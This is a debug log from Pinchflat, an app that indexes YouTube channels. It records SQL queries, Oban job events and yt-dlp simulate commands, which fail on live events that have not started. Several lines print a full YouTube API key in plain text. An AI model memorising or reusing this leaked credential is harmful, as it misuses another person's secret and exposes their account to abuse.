"vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 18:06:46.452 [debug] QUERY OK source="media_items" db=0.3ms idle=94.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 18:06:46.453 [debug] QUERY OK source="tasks" db=0.1ms idle=95.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800361, 20, ~U[2026-02-11 00:06:46Z], ~U[2026-02-11 00:06:46Z]] 18:06:46.453 [info] {"args":{"id":20},"id":3800322,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":96293,"event":"job:stop","queue_time":534796,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:59.369 [info] {"args":{"id":19},"id":3800323,"meta":{},"system_time":1770768419369809543,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:06:59.370 [debug] QUERY OK source="sources" db=0.1ms idle=1491.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 18:06:59.370 [debug] QUERY OK source="settings" db=0.1ms idle=1491.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.370 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:06:59.370 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.370 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 18:06:59.370 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.370 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:06:59.516 [debug] QUERY OK source="media_items" db=0.5ms idle=145.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 18:06:59.516 [debug] QUERY OK source="settings" db=0.0ms idle=146.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.516 [debug] QUERY OK source="settings" db=0.0ms idle=146.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.517 [debug] Running yt-dlp command for action: get_media_attributes 18:06:59.518 [debug] QUERY OK source="settings" db=0.0ms idle=147.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.518 [debug] QUERY OK source="settings" db=0.0ms idle=147.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.518 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:06:59.518 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6f/05/6f05ce27ec1b7d09bb1af3930093c66b2855dd4c29fb99d88aaeb82383c93983.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:07:00.118 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:00.211 [info] {"source":"oban","duration":10303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.699 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/6f/05/6f05ce27ec1b7d09bb1af3930093c66b2855dd4c29fb99d88aaeb82383c93983.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 18:07:00.700 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 18:07:00.700 [debug] QUERY OK source="settings" db=0.1ms idle=1181.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:00.700 [debug] QUERY OK source="settings" db=0.0ms idle=1181.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:00.700 [debug] Running yt-dlp command for action: get_media_attributes 18:07:00.704 [debug] QUERY OK source="settings" db=0.0ms idle=586.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:00.704 [debug] QUERY OK source="settings" db=0.0ms idle=493.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:00.704 [debug] QUERY OK source="settings" db=0.0ms idle=340.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:00.705 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a8/09/a809125a990ce7d27597f6ce1f3def3e740e04b2af8ba578894bac997be2b3f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:07:02.124 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a8/09/a809125a990ce7d27597f6ce1f3def3e740e04b2af8ba578894bac997be2b3f5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 18:07:02.124 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 18:07:02.125 [debug] QUERY OK source="media_items" db=0.5ms idle=758.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 18:07:02.126 [debug] QUERY OK source="tasks" db=0.7ms idle=247.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800362, 19, ~U[2026-02-11 00:07:02Z], ~U[2026-02-11 00:07:02Z]] 18:07:02.127 [info] {"args":{"id":19},"id":3800323,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2757089,"event":"job:stop","queue_time":767263,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.380 [info] {"args":{"id":15},"id":3800324,"meta":{},"system_time":1770768430380692068,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.380 [info] {"args":{"id":42},"id":3800325,"meta":{},"system_time":1770768430380721172,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.381 [debug] QUERY OK source="sources" db=0.2ms idle=502.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 18:07:10.381 [debug] QUERY OK source="sources" db=0.1ms idle=502.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 18:07:10.381 [debug] QUERY OK source="settings" db=0.1ms idle=502.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.381 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.381 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:10.381 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:10.381 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.381 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.381 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 18:07:10.381 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 18:07:10.381 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.382 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:10.382 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.382 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:10.490 [debug] QUERY OK source="media_items" db=0.6ms idle=108.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 18:07:10.491 [debug] QUERY OK source="media_items" db=0.4ms idle=109.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 18:07:10.492 [debug] QUERY OK source="tasks" db=0.1ms idle=109.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800363, 15, ~U[2026-02-11 00:07:10Z], ~U[2026-02-11 00:07:10Z]] 18:07:10.492 [info] {"args":{"id":15},"id":3800324,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":111469,"event":"job:stop","queue_time":421524,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.498 [info] {"args":{"id":13},"id":3800326,"meta":{},"system_time":1770768430498580645,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:10.498 [debug] QUERY OK source="sources" db=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 18:07:10.499 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:10.499 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms 